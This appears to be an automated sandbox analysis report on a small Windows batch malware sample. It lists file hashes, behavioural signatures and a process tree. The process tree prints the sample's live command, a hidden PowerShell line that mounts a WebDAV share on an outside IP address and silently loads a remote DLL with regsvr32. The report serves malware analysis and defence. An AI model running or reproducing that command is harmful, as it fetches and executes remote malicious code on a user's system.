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Analysis
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max time kernel
139s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 06:59
Static task
static1
Behavioral task
behavioral1
Sample
21348315842434132741.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
21348315842434132741.bat
Resource
win10v2004-20240709-en
General
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Target
21348315842434132741.bat
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Size
2KB
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MD5
727c8f0fc8782d849bcf2fcbaa38acce
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SHA1
411325e4cbe91bc4ae15914fff38eb8c2d32c90b
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SHA256
5c54e6be00c2bdee8c704c026d20e5504c2c805aa99133e29b6a5799ab11b4c6
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SHA512
3f82ed587271c3e91b60bceb3406f7ef663f6b9a59553d369633d10456bd6dadb68843a7a4ca81c9084b08dd4c0e442c5a82c20ff2d003e0c69a0302a7a74424
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4236 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4236 powershell.exe 4236 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4236 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4928 wordpad.exe 4928 wordpad.exe 4928 wordpad.exe 4928 wordpad.exe 4928 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3064 wrote to memory of 4928 3064 cmd.exe 85 PID 3064 wrote to memory of 4928 3064 cmd.exe 85 PID 3064 wrote to memory of 4236 3064 cmd.exe 87 PID 3064 wrote to memory of 4236 3064 cmd.exe 87 PID 4236 wrote to memory of 1292 4236 powershell.exe 89 PID 4236 wrote to memory of 1292 4236 powershell.exe 89 PID 4236 wrote to memory of 816 4236 powershell.exe 90 PID 4236 wrote to memory of 816 4236 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21348315842434132741.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:4928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:1292
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll3⤵PID:816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82